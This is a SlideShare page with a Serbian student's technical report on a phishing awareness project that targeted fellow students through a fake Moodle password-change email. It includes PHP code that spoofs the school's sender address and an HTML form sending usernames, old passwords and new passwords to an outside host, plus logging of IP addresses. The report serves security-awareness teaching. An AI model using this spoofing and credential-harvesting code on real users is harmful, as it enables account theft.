SlideShare a Scribd company logo
1 of 12
Download to read offline
Tehnička dokumentacija projekta Pecanje (Phishing)
Iz predmeta :
PRAKTIČNA NASTAVA
Autor : Boban Lapčević
Mentor : Vladica Ubavić
FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
Vremenska linija razvoja projekta ili sadržaj:
Uvod(osnovni razvojni koncept)………………………………………………….1
Prvi funkcionalni prototip……………………………………………………………2
Admin panel I MVC……………………………………………………………………..3
Finalne faze projekta…………………………………………………………………...4
Analiza(studija slučaja)……………………………………….………………………5
FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
1.Osovni razvojni koncept
Dobili smo zadatak, zbog našeg interesovanja za web tehnologije, da odradimo jedan drugačiji I praktično
orijentisan projekat, koji će imati za cilj povećanje svesti mladih informatičara o prisutnosti informatičkih
napada, njihovoj važnosti i mogućem curenju naših informacija, prvo u vidu lozinki a kasnije I indetifikaciju
napadača sa žrtvom, šta I kako posle napada, ali najveći akcenat je postavljen na to, šta uraditi da ne dodje
do problema?
Za rad smo dobili najčešći, veoma popularan internet napad nazvan phishing za IT, ustvari proisteklo iz
phishing) ili pecanje, gde je cilj da se korisnik navede da on “sam svojom voljom” (ne pažnjom) preda tj
pošalje napadaču svoje kompromitujuće ili bezbednostne informacije koje se nalaze u sistemima čiji pristup
on kao žrtva omogućava napadaču.
Da bi smo postigli što bolji efekat, odlučili smo da priču pretvorimo u stvarnost I shodno mom poznavanju
web tehnologija napravimo jedan potpuni sistem za Fishing I da testiramo svest naših starijih kolega sa
informatičkog smera.
Za test aplikaciju, apstrakovao sam sistem koji počinje primljenim e-mail-om od strane naše skripte koji
predstavlja “mamac” na kome stoji poruka koja bi trebala steći poverenje korisnika I u isto vreme da bude
dovoljno upečatljiva za iznudu informacija.Odabrali smo da prikupimo lozinke poznate platforme za učenje,
pa je poruka bila shodna tom sistemu, konkretno, ažuriranje moodle platforme. Prvi zadatak je bio pronaći
prigodno mesto gde će se sam sistem nalaziti kao i uslov da postoji instaliran Mail server sa koga bi smo
poslali naše poruke korisnicima. Pri otvaranju poruke korisnik vidi zahtev za promenu lozinke I link za
promenu lozinke. Vodjeni zakonom verovatnoće u samom mail-u smo ubacili forme za direktnu promenu
lozinke koji adresira na akciju koja upisuje podatke u html fajl I u bazu podataka. Na kraju tog procesa
potrebno je da administrator stekne uvid u uspešnost projekta, ali isto tako I neuspešnost ili nesvesnost
ciljane grupe studenata, koja olako poveravaju svoje podatke pristignutim mail-ovima. Za ovaj projekat
koristićemo PHP verzije 5.5.12 Apache server verzije: 2.4.9 MySql tip baze podataka na zakupljenom
nezavisnom privatnom serveru.
2.Prvi funkcionalni prototip
Prvo je bilo potrebno da se napravi dizajn koji će svojim izgledom biti što približniji stilu školskog lms-
sistema, odmah posle apstrakcije bacio sam se na html/css, pravio screenshot-ove, da bih stekao sliku kako bi
FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
to trebalo da izgleda I šta sve, jedan takav sistem, bi trebao da ima. Posle pravljenja skice projekta imali smo
tačnu sliku kakav sistem želimo da realizujemo , i kojom tehnologijom. Za dizajn stranice iskoristio sam
potpuno iste stil fajlove koje koristi I školski vebsajt tj moodle platforma, opcijom view source u browser-u
dodelio sam svojoj stranici linkove ka css fajlovima platforme za učenje. Naravno sve je trebalo promeniti u
cilju funkcije našeg sistema a to je promena lozinke pa su dodata polja korisničko ime, stara lozinka, nova
lozinka I potvrdite novu lozinku.
Aplikacija pecanje treba početi uvek, naravno, od slanja e-mail adrese. Posle konfigurisanja mail-servera na
svom novom hostingu sam napisao posebnu skriptu za slanje email-a koja malo odstupa od uobičajene
skripte za e-mail. Da ova skripta koristi istu PHP funkciju kao I ostale, funkciju mail(), medjutim u ovoj
skripti je bilo potrebno naznačiti da se u njoj:
1.Izvršava HTML
2.Izvršava CSS
3.Da se ćirilica enkodira pravilno I po pravim standardima
4.I naravno da se sakrije pravi identitet sa koga je mail poslat (bar na prvi pogled korisnika)
$headers = “MIME-Version: 1.0rn”;
FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
$headers .= "Content-type: text/html; charset=iso-8859-1rn";
$to = 'example@example.com';
$from = 'admin@vpskp.edu.rs';
$subject = 'Lms - Ažuriranje podataka';
$body = '<!DOCTYPE html>
<html lang="en">
… Dalje u telu sajta postavimo polja I adresiramo formu na spoljnu akciju na serveru koja će posle submit-a
riderektovati I izvršiti funkciju za upis podataka u bazu. Pošto u email-u se css, kao poseban style jezik ne
prihvata morali smo da koristimo stariju verziju html tagova koja su danas odbačene, ali ipak se izvršavaju I
da preko njih pošaljemo css mail-u I da se izvrši u poruci.
Send_mail.php
<form action="http://vpskp.edu.mwi.si/action.php" method="post">
Korisnicko ime :
<input required name="username" type="text" style="background:#f2f2f2; padding:5px; border:1px solid
#000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Korisničko ime">
Vaša lozinka :
<input required name="password" type="password" style=" background:#f2f2f2; padding:5px; border:1px
solid #000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Stara lozinka">
Nova lozinka :
<input required name="newpass" type="password" style=" background:#f2f2f2; padding:5px; border:1px
solid #000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Nova lozinka">
Ponovite lozinku :
<input required name="passtr" type="password" style=" background:#f2f2f2; padding:5px; border:1px solid
#000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Ponovite lozinku">
<div style="text-align:center;">
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input
type="submit" style="color:#fff; border-radius:5px; width:90%; text-align:center; -webkit-border-radius:5px; -
FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
moz-border-radius: 5px; background:#5e7f79; padding:5px; border:1px solid #000; text-shadow: 1px 1px 1px
#949494; font-weight:bold;">
</div>
</div>
</form>
I naravno na kraju mail funkcija sa svim vrednostima koje smo pripremili :
mail($to, $subject, $body, $headers, "-f$from");
Najčešći problem koji se javlja pri samom slanju mail-a ovakve vrste osim skrivanja identiteta koji se rešava
jednim –f ispred varijable $from jeste i pravilna enkripcija na svim mail sistemima .Mail sistem Outlook kao i
yahoo ima specifičnu vrstu enkripcije i možemo dobiti mail kao što je prikazano na slici iznad.
FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
Posle upoznavanja sa specifičnostima svakog sistema u $headers varijabli smo promenili standardni utf8 u
iso-8859-1 i time dobili zadovoljavajući rezultat. Mail je uspešno stizao na odredište kao i više mail-ova.
PDO MYSQL bibliotekom smo uspostavili vezu sa bazom, a pored toga iskoristili i funkciju file_put_contest
za duplirani unos podataka u html fajl, kako bi lako mogli da pročitamo podatke koje smo uneli.
SQL upit je izgledao otprilike ovako : INSERT INTO datas(username, pass, newpass, verpass,date_submit,
IP_adress) VALUES (:username, :pass, :newpass, :verpass, :date_submit, :IP_adress)
Gde se može videti da sam pored ostalih informacija preuzeo i zabeležio korisničku IP adresu na osnovu čega
bih kasnije odredio broj unikatnih posetilaca sajta i izveo detaljnije statističke informacije.
Nakon svega testirali smo projekat Pecanje po prvi put u školi glumeći napadače i žrtve i dobili odgovarajuće
rezultate, to je bio potpuno funkcionalni prototip naše aplikacije.
3.Admin panel I MVC
Posle svakog prototipa, koji predstavlja celokupnu zamisao i pokriva sve obaveze koje dati sistem ima da
izvrši, potrebno je razraditi ideju vrlo pažljivo i organizovati podatke na taj način da se i posle mnogo linija
koda programer snadje za eventualnu nadogradnju softvera ili možda ispravku i slično. Posle zadatka da se
napravi još i admin panel, pristupio sam projektu ozbiljnije i uključio u plan nove funkcionalnosti koje treba
da dodam u sistem a to su:
1.Login Sistem (Autentifikacija)
2..htaccess
3.Generisanje liste
4.Forme za slanje e-mail zahteva
5. Početna - statistika
6.i Odjavljivanje sa platforme
Zato tražimo način na koji ćemo iskoristiti prednosti objektnog orijentisanog programiranja i napraviti od
svih tih klasa, referenci, nasledjivanja jednu skladnu celinu.
Pre nego što počenmo sa MVC-om moramo reći našem serveru na kome radimo da nam prepiše url i da
podesimo da kroz url ne pristupamo direktno fajlu kroz ime i ekstenziju već kroz url pristupamo klasi i u
FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
njenoj __construct metodi toj funkciji ili u PHP-u ako je ime funkcije ista kao i ime klase ta funkcija se
automatski izvršava i bez pozivanja reference te funkcije posebno.
Ovako izgleda moj .htaccess fajl za projekat pecanje:
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-l
RewriteRule ^(.+)$ index.php?url=$1 [QSA,L]
Naveli smo samo neke od objekata koje se moraju isprogramirati. Pošto sama veličina aplikacije nije
komplikovana, zato nisam imao potrebu za korišćenjem nekih framework-a poput CodeIgniter-a ili Symfony
i slično. Napisao sam zbog potpune jasnoće i mogućnosti objašnjenja najprostiji mogući sopstveni MVC
frejmvork. MVC jeste model koji svrstava sve fajlove našeg PHP projekta otprilike u direktorijume : Model,
View i Controller i još neke pomoćne direktorijume... U model-u čuvamo komplikovane PHP funkcije koje
komuniciraju sa bazom. Controller nam omogućava pozivanje funkcija kao npr generisanje model-a i view-a
za svaki url tj app.com/url posebno, tako da nam se za npr
Example.com/index
Poziva ista ta funkcija sa tim imenom u controller-u index.php a controller poziva funkciju iz view-a koja
generiše fajl: index.php u folderu view/index folderu...
Za example.com/dashboard
FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
Generiše dashboard stil u view/dashboard/index.php, i tako redom...
Na datoj slici vidimo sublime editor i levu traku u kojoj je struktura našeg projekta
Config – U folderu config čuvamo konfiguracione fajlove kao što su domen servera, ime baze, lozinka, ime
korisnika...
Controllers – Svaka stranica mora imati svoj controller fajl koji će pozivajući se da generiše potrebne funkcije
svaki Controller počinje sa class ImeKontrolera()...
Libs – libs folder sadrži biblioteke od kojih je najavžnija npr bootstrap(gnezdo programa, tu je ceo kod koji
pozivamo u index, regulišemo url-ove, podešavamo loader-e model-a, posebnih klasa i referenci itd.),
Models – u models folderu čuvamo login_model, dashboard_model ... U njima se u različitim funkcijama
definišu kodovi i upiti koji komuniciraju sa bazom.Kreiraju, brišu, edituju zapise...
Public – Sav css i javascript kod stavljamo u public folder, takodje i sav materijal koji ima veze sa stilom
stranice. U public folderu se nalaze obično tri podfoldera a to su:
FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
-CSS
-JS
-Images
-Views u ovom folderu se čuvaju fajlovi koji u sebi sadrže html svih stranica koje load-ujemo tako da stil ,
generisanje koda iz funkcija zbog pregleda programiramo fajlove unutar ovog foldera.
Admin panel
Da bi razdvojili interfejs posetioca i interfejs administratora, kreiraćemo poseban folder, administrator u
kome ćemo iskodirati celu okruženje za administratora. U folderu kreiramo prvo htaccess fajl, i integrišemo
naš mvc model . Da bi korisnici uopšte mogli da se loguju pravimo index stranicu za njih sa formom koja cilja
na neki model, u ovom slučaju login_model i funkciju u njemu npr funkcija enter. Podatke iz forme
prosledimo u SQL upit i uporedimo ih u npr tabeli users da li postoji ukoliko ne postoje korisnici se vraćaju
na istu ili sličnu stranicu sa tekstualnom porukom o grešci. Ukoliko identični podaci postoje korisnik se
loguje i započinje svoju sesiju. Funkcijom session_start počinje gostovanje korisnika na stranici npr
dashboard i njegovo gostavanje ne prestaje sve dok se ne pokrene funkcija session_destroy koja uništava
FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
sesiju i vraća korisnika na login stranicu. Na svakoj zaštićenoj stranici, dakle, koja je namenjena korisniku
nalazi se provera. Varijabla dobija informacije da li sesija postoji i nakon provere korisnik ostaje na stranici ili
se riderektuje napolje van zaštićene mreže.
Dalje nastavljamo po istom šablonu mvc da pišemo funkcije koje su nam potrebne za rad sistema, a to su:
Početna Generiše Statistiku
Lista Generiše listu korisničkih podataka
Pošta Generiše polje koja sadrži vrednost koliko zahteva želimo poslati, posle procedurisanja forme
generiše se toliki broj polja koliko smo uneli, i vrednost tih polja je uneta u $to varijablu PHP mail funkcije
koja se pokreće sa MAIL servera.
Odjava – Uništavanje sesije i riderekt na administrator početnu stranicu.
4.Statistika
Postoje mnogi dizajni grafikona na internetu koje možete besplatno koristiti u vašem projektu uz naravno
nešto umeća iz SQL-a kao i znanja da javascript kod iz tih grafikona generišete pomoću PHP-a sa ubačenim
podacima iz odredjene baze, tabele i slično. Ja sam iskoristio javascript biblioteku highcharts.com, koja sadrži
velik broj različitih vrsta grafikona, pita, barova, tabela i slično. Iako su vrlo osetljive na promene, tako da na
primer, kada pogrešite u generisanju koda, jednostavno nestane ceo grafikon,sve dok sami ne nadjete grešku
u kodu, dok kodirate u PHP-u imate izveštaje koje vas upućuju na grešku pa čak i kako da je otklonite.
FISHING
„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace
Na ovoj slici je prikazana početna stranica našeg završnog Pecanje projekta koja u prvom bar-chart-u
prikazuje koliko jedinstvenih IP adresa se ukupno „upecalo“ za svaki dan posebno. Dok drugi bar pokazuje
koliko puta su ti jedinstveni korisnici pokušali da se uloguju misleći da njihovi podaci nisu tačni, ovo je dobar
pokazatelj za napadače jer više puta poklopljenih starih šifri čini taj podatak realnijim, tako da je napadač
siguran da ima pravu šifru u bazi koju može iskoristiti. Što je prikazano i tabelarno odmah ispod bar-chart-a.
U drugom segmentu desno prikazan je procenat upecanih korisnika od uzorka broja email-a koji smo poslali.
Ukupno je poslato 20 email zahteva, 12 zahteva je potvrdjeno što čini 60 procenta potvrdjenih phishing
zahteva.
Na poslednjom pie-chart slici možemo videti da je najviše upecanih bilo prvog dana, i da je svakim sledećim
danom padao broj upecanih osoba, što je uobičajeno za dobro odradjen internet napad.
5.Analiza slučaja
Obzirom da je u prva dva dana nakon slanja zahteva, odaziv bio 50%, možemo li da izvedemo statističku
pretpostavku koliko od 20 učesnika otvori e-mail u razmaku od tri dana? Koliko god taj odziv bio, ne može
biti ni u kom slučaju 100%... Napomenimo da neki od korisnika uopšte i ne koriste email adrese. Studija ovog
slučaja takodje je pokazala da prvog dana 4 jedinstvena korisnika su pokušala ukupno 19 puta da unesu svoje
podatke tako da je napadač poklapanjem unetih podataka sve više sigurniji u njihovu autentičnost. Uzeći u
obzir celokupnu dosadašnju statistiku 12 korisnika su ukupnoimala 51 pokušaj unosa informacija, što je 6,375
puta po korisniku. Ovo je mali eksperiment je pokazao koliko su i sami informatičari obazrivi na predaju
informacija, a kod običnog surfera danas rezultati uspešnosti phishing-a su još veći. Ovaj napad će još dugo
godina biti aktuelan i produktivan. Najbolje dokaze za to možemo videti na osnovu iskustva twitter-a kada su
prikupljeni podaci više od sto hiljada korisnika. Takodje to se vrlo često dešava i na google mail-ovima, gde je
to najčešći vid preuzimanja naloga. Na google mail-u postoji opcija prijavi kao phishing, koji je dosad jedini
vid odbrane (stavljanjem tog hosta na neku vrstu „crne liste google-a“, naravno, ukoliko je vaša prijava
opravdana). Jedini savet za one koje redovno proveravaju mail jeste da nikada ne menjaju podatke direktno
iz email poruke i da dobro provere url sajta gde ih vodi link, da li je (u vezi propusta twitter) u pitanju
twitter.com ili twitteri|.com .

More Related Content

Viewers also liked

6. seven stages of purification & insight knowledges — ven. matara sri nanarama
6. seven stages of purification & insight knowledges — ven. matara sri nanarama6. seven stages of purification & insight knowledges — ven. matara sri nanarama
6. seven stages of purification & insight knowledges — ven. matara sri nanaramaSandeep Kumar Lukalapu
 
Cropland - data driven decision
Cropland - data driven decisionCropland - data driven decision
Cropland - data driven decisionCropland
 
โครงงานคอมพิวเตอร์
โครงงานคอมพิวเตอร์โครงงานคอมพิวเตอร์
โครงงานคอมพิวเตอร์Sudarat Houiluek
 
Donnelly $sons case study
Donnelly $sons  case study Donnelly $sons  case study
Donnelly $sons case study Abdallah Alhroub
 
Convenio de colaboracion para la ejecucion del programa de reforestacion en ...
Convenio  de colaboracion para la ejecucion del programa de reforestacion en ...Convenio  de colaboracion para la ejecucion del programa de reforestacion en ...
Convenio de colaboracion para la ejecucion del programa de reforestacion en ...Federico De Palma Medrano
 
Book questions of_non-muslims
Book questions of_non-muslimsBook questions of_non-muslims
Book questions of_non-muslimsHassan Elagouz
 
Jamie reid and Barney Bubbles
Jamie reid and Barney BubblesJamie reid and Barney Bubbles
Jamie reid and Barney BubblesAnnabelStreet8
 
Lecture 13-cs648
Lecture 13-cs648Lecture 13-cs648
Lecture 13-cs648Rajiv Omar
 
Gw Melek Politik
Gw Melek PolitikGw Melek Politik
Gw Melek PolitikChristyYB
 
Ifan efendi power piont.
Ifan efendi power piont.Ifan efendi power piont.
Ifan efendi power piont.Iffan Effendi
 

Viewers also liked (18)

6. seven stages of purification & insight knowledges — ven. matara sri nanarama
6. seven stages of purification & insight knowledges — ven. matara sri nanarama6. seven stages of purification & insight knowledges — ven. matara sri nanarama
6. seven stages of purification & insight knowledges — ven. matara sri nanarama
 
Cropland - data driven decision
Cropland - data driven decisionCropland - data driven decision
Cropland - data driven decision
 
โครงงานคอมพิวเตอร์
โครงงานคอมพิวเตอร์โครงงานคอมพิวเตอร์
โครงงานคอมพิวเตอร์
 
Donnelly $sons case study
Donnelly $sons  case study Donnelly $sons  case study
Donnelly $sons case study
 
58807
5880758807
58807
 
Tag eng4pw ba04nov
Tag eng4pw ba04novTag eng4pw ba04nov
Tag eng4pw ba04nov
 
Solvencyii
SolvencyiiSolvencyii
Solvencyii
 
Convenio de colaboracion para la ejecucion del programa de reforestacion en ...
Convenio  de colaboracion para la ejecucion del programa de reforestacion en ...Convenio  de colaboracion para la ejecucion del programa de reforestacion en ...
Convenio de colaboracion para la ejecucion del programa de reforestacion en ...
 
Case marcat
Case marcatCase marcat
Case marcat
 
Yourprezi
YourpreziYourprezi
Yourprezi
 
Book questions of_non-muslims
Book questions of_non-muslimsBook questions of_non-muslims
Book questions of_non-muslims
 
Jamie reid and Barney Bubbles
Jamie reid and Barney BubblesJamie reid and Barney Bubbles
Jamie reid and Barney Bubbles
 
Physics 1
Physics 1Physics 1
Physics 1
 
Lecture 13-cs648
Lecture 13-cs648Lecture 13-cs648
Lecture 13-cs648
 
Clothes
ClothesClothes
Clothes
 
Agile2014 Briefing Deck
Agile2014 Briefing DeckAgile2014 Briefing Deck
Agile2014 Briefing Deck
 
Gw Melek Politik
Gw Melek PolitikGw Melek Politik
Gw Melek Politik
 
Ifan efendi power piont.
Ifan efendi power piont.Ifan efendi power piont.
Ifan efendi power piont.
 

Similar to Studija slučaja - phishing

Projektovanje web aplikacija
Projektovanje web aplikacijaProjektovanje web aplikacija
Projektovanje web aplikacijaDamjan Pavlica
 
Getting bigger with flask
Getting bigger with flaskGetting bigger with flask
Getting bigger with flaskJosipKatalinic
 
Sibin Grasić - Najčešće greške WP developera
Sibin Grasić - Najčešće greške WP developeraSibin Grasić - Najčešće greške WP developera
Sibin Grasić - Najčešće greške WP developeraStartit
 
Automatizacija u Front-end razvojnom procesu
Automatizacija u Front-end razvojnom procesuAutomatizacija u Front-end razvojnom procesu
Automatizacija u Front-end razvojnom procesuDalibor Gogic
 
Seminarski diplomski koristenje www-i-ostalih-web-servera
Seminarski diplomski koristenje www-i-ostalih-web-serveraSeminarski diplomski koristenje www-i-ostalih-web-servera
Seminarski diplomski koristenje www-i-ostalih-web-serveramaturalni
 
HTML skripta.pdf
HTML skripta.pdfHTML skripta.pdf
HTML skripta.pdfDaVu2
 
Nikola Petrov-Bezbednost WordPress sajtova - Uvod u WordPress
 Nikola Petrov-Bezbednost WordPress sajtova - Uvod u WordPress Nikola Petrov-Bezbednost WordPress sajtova - Uvod u WordPress
Nikola Petrov-Bezbednost WordPress sajtova - Uvod u WordPressDamir Bodor
 
Napredne tehnike razvoja web aplikacija - Zend Framework
Napredne tehnike razvoja web aplikacija - Zend FrameworkNapredne tehnike razvoja web aplikacija - Zend Framework
Napredne tehnike razvoja web aplikacija - Zend FrameworkSaša Stamenković
 
Internet pretrazivaci i elektronska posta
Internet pretrazivaci i elektronska postaInternet pretrazivaci i elektronska posta
Internet pretrazivaci i elektronska postaNenad Maslać
 
Ljubav Flexa I PHP-a
Ljubav Flexa I PHP-aLjubav Flexa I PHP-a
Ljubav Flexa I PHP-aIvan Ilijasic
 
Profesionalizacija veb-sajtova polaznika i izmena šablona naslovne strane
Profesionalizacija veb-sajtova polaznika i izmena šablona naslovne straneProfesionalizacija veb-sajtova polaznika i izmena šablona naslovne strane
Profesionalizacija veb-sajtova polaznika i izmena šablona naslovne straneAleksandar Urošević
 
Let's talk about CSS
Let's talk about CSSLet's talk about CSS
Let's talk about CSSNikola Drobac
 
WordPress za početnike
WordPress za početnikeWordPress za početnike
WordPress za početnikeDejanVesic
 
електронско пословање
електронско пословањеелектронско пословање
електронско пословањеinformatikaradovi
 
SSO secure communication flow for web Oracle login
SSO secure communication flow for web Oracle loginSSO secure communication flow for web Oracle login
SSO secure communication flow for web Oracle loginZoran Popovic
 

Similar to Studija slučaja - phishing (20)

Projektovanje web aplikacija
Projektovanje web aplikacijaProjektovanje web aplikacija
Projektovanje web aplikacija
 
Getting bigger with flask
Getting bigger with flaskGetting bigger with flask
Getting bigger with flask
 
Sibin Grasić - Najčešće greške WP developera
Sibin Grasić - Najčešće greške WP developeraSibin Grasić - Najčešće greške WP developera
Sibin Grasić - Najčešće greške WP developera
 
Matlab web portal
Matlab web portalMatlab web portal
Matlab web portal
 
Web Servisi
Web ServisiWeb Servisi
Web Servisi
 
Automatizacija u Front-end razvojnom procesu
Automatizacija u Front-end razvojnom procesuAutomatizacija u Front-end razvojnom procesu
Automatizacija u Front-end razvojnom procesu
 
Seminarski diplomski koristenje www-i-ostalih-web-servera
Seminarski diplomski koristenje www-i-ostalih-web-serveraSeminarski diplomski koristenje www-i-ostalih-web-servera
Seminarski diplomski koristenje www-i-ostalih-web-servera
 
HTML skripta.pdf
HTML skripta.pdfHTML skripta.pdf
HTML skripta.pdf
 
Nikola Petrov-Bezbednost WordPress sajtova - Uvod u WordPress
 Nikola Petrov-Bezbednost WordPress sajtova - Uvod u WordPress Nikola Petrov-Bezbednost WordPress sajtova - Uvod u WordPress
Nikola Petrov-Bezbednost WordPress sajtova - Uvod u WordPress
 
Napredne tehnike razvoja web aplikacija - Zend Framework
Napredne tehnike razvoja web aplikacija - Zend FrameworkNapredne tehnike razvoja web aplikacija - Zend Framework
Napredne tehnike razvoja web aplikacija - Zend Framework
 
Migration to 9i
Migration to 9iMigration to 9i
Migration to 9i
 
Internet pretrazivaci i elektronska posta
Internet pretrazivaci i elektronska postaInternet pretrazivaci i elektronska posta
Internet pretrazivaci i elektronska posta
 
Ljubav Flexa I PHP-a
Ljubav Flexa I PHP-aLjubav Flexa I PHP-a
Ljubav Flexa I PHP-a
 
Profesionalizacija veb-sajtova polaznika i izmena šablona naslovne strane
Profesionalizacija veb-sajtova polaznika i izmena šablona naslovne straneProfesionalizacija veb-sajtova polaznika i izmena šablona naslovne strane
Profesionalizacija veb-sajtova polaznika i izmena šablona naslovne strane
 
Let's talk about CSS
Let's talk about CSSLet's talk about CSS
Let's talk about CSS
 
Decouple Goals
Decouple GoalsDecouple Goals
Decouple Goals
 
WordPress za početnike
WordPress za početnikeWordPress za početnike
WordPress za početnike
 
SAS OnDemand for Academics - Vladimir Marković
 SAS OnDemand for Academics - Vladimir Marković SAS OnDemand for Academics - Vladimir Marković
SAS OnDemand for Academics - Vladimir Marković
 
електронско пословање
електронско пословањеелектронско пословање
електронско пословање
 
SSO secure communication flow for web Oracle login
SSO secure communication flow for web Oracle loginSSO secure communication flow for web Oracle login
SSO secure communication flow for web Oracle login
 

Studija slučaja - phishing

  • 1. Tehnička dokumentacija projekta Pecanje (Phishing) Iz predmeta : PRAKTIČNA NASTAVA Autor : Boban Lapčević Mentor : Vladica Ubavić
  • 2. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace Vremenska linija razvoja projekta ili sadržaj: Uvod(osnovni razvojni koncept)………………………………………………….1 Prvi funkcionalni prototip……………………………………………………………2 Admin panel I MVC……………………………………………………………………..3 Finalne faze projekta…………………………………………………………………...4 Analiza(studija slučaja)……………………………………….………………………5
  • 3. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace 1.Osovni razvojni koncept Dobili smo zadatak, zbog našeg interesovanja za web tehnologije, da odradimo jedan drugačiji I praktično orijentisan projekat, koji će imati za cilj povećanje svesti mladih informatičara o prisutnosti informatičkih napada, njihovoj važnosti i mogućem curenju naših informacija, prvo u vidu lozinki a kasnije I indetifikaciju napadača sa žrtvom, šta I kako posle napada, ali najveći akcenat je postavljen na to, šta uraditi da ne dodje do problema? Za rad smo dobili najčešći, veoma popularan internet napad nazvan phishing za IT, ustvari proisteklo iz phishing) ili pecanje, gde je cilj da se korisnik navede da on “sam svojom voljom” (ne pažnjom) preda tj pošalje napadaču svoje kompromitujuće ili bezbednostne informacije koje se nalaze u sistemima čiji pristup on kao žrtva omogućava napadaču. Da bi smo postigli što bolji efekat, odlučili smo da priču pretvorimo u stvarnost I shodno mom poznavanju web tehnologija napravimo jedan potpuni sistem za Fishing I da testiramo svest naših starijih kolega sa informatičkog smera. Za test aplikaciju, apstrakovao sam sistem koji počinje primljenim e-mail-om od strane naše skripte koji predstavlja “mamac” na kome stoji poruka koja bi trebala steći poverenje korisnika I u isto vreme da bude dovoljno upečatljiva za iznudu informacija.Odabrali smo da prikupimo lozinke poznate platforme za učenje, pa je poruka bila shodna tom sistemu, konkretno, ažuriranje moodle platforme. Prvi zadatak je bio pronaći prigodno mesto gde će se sam sistem nalaziti kao i uslov da postoji instaliran Mail server sa koga bi smo poslali naše poruke korisnicima. Pri otvaranju poruke korisnik vidi zahtev za promenu lozinke I link za promenu lozinke. Vodjeni zakonom verovatnoće u samom mail-u smo ubacili forme za direktnu promenu lozinke koji adresira na akciju koja upisuje podatke u html fajl I u bazu podataka. Na kraju tog procesa potrebno je da administrator stekne uvid u uspešnost projekta, ali isto tako I neuspešnost ili nesvesnost ciljane grupe studenata, koja olako poveravaju svoje podatke pristignutim mail-ovima. Za ovaj projekat koristićemo PHP verzije 5.5.12 Apache server verzije: 2.4.9 MySql tip baze podataka na zakupljenom nezavisnom privatnom serveru. 2.Prvi funkcionalni prototip Prvo je bilo potrebno da se napravi dizajn koji će svojim izgledom biti što približniji stilu školskog lms- sistema, odmah posle apstrakcije bacio sam se na html/css, pravio screenshot-ove, da bih stekao sliku kako bi
  • 4. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace to trebalo da izgleda I šta sve, jedan takav sistem, bi trebao da ima. Posle pravljenja skice projekta imali smo tačnu sliku kakav sistem želimo da realizujemo , i kojom tehnologijom. Za dizajn stranice iskoristio sam potpuno iste stil fajlove koje koristi I školski vebsajt tj moodle platforma, opcijom view source u browser-u dodelio sam svojoj stranici linkove ka css fajlovima platforme za učenje. Naravno sve je trebalo promeniti u cilju funkcije našeg sistema a to je promena lozinke pa su dodata polja korisničko ime, stara lozinka, nova lozinka I potvrdite novu lozinku. Aplikacija pecanje treba početi uvek, naravno, od slanja e-mail adrese. Posle konfigurisanja mail-servera na svom novom hostingu sam napisao posebnu skriptu za slanje email-a koja malo odstupa od uobičajene skripte za e-mail. Da ova skripta koristi istu PHP funkciju kao I ostale, funkciju mail(), medjutim u ovoj skripti je bilo potrebno naznačiti da se u njoj: 1.Izvršava HTML 2.Izvršava CSS 3.Da se ćirilica enkodira pravilno I po pravim standardima 4.I naravno da se sakrije pravi identitet sa koga je mail poslat (bar na prvi pogled korisnika) $headers = “MIME-Version: 1.0rn”;
  • 5. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace $headers .= "Content-type: text/html; charset=iso-8859-1rn"; $to = 'example@example.com'; $from = 'admin@vpskp.edu.rs'; $subject = 'Lms - Ažuriranje podataka'; $body = '<!DOCTYPE html> <html lang="en"> … Dalje u telu sajta postavimo polja I adresiramo formu na spoljnu akciju na serveru koja će posle submit-a riderektovati I izvršiti funkciju za upis podataka u bazu. Pošto u email-u se css, kao poseban style jezik ne prihvata morali smo da koristimo stariju verziju html tagova koja su danas odbačene, ali ipak se izvršavaju I da preko njih pošaljemo css mail-u I da se izvrši u poruci. Send_mail.php <form action="http://vpskp.edu.mwi.si/action.php" method="post"> Korisnicko ime : <input required name="username" type="text" style="background:#f2f2f2; padding:5px; border:1px solid #000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Korisničko ime"> Vaša lozinka : <input required name="password" type="password" style=" background:#f2f2f2; padding:5px; border:1px solid #000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Stara lozinka"> Nova lozinka : <input required name="newpass" type="password" style=" background:#f2f2f2; padding:5px; border:1px solid #000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Nova lozinka"> Ponovite lozinku : <input required name="passtr" type="password" style=" background:#f2f2f2; padding:5px; border:1px solid #000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Ponovite lozinku"> <div style="text-align:center;"> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="submit" style="color:#fff; border-radius:5px; width:90%; text-align:center; -webkit-border-radius:5px; -
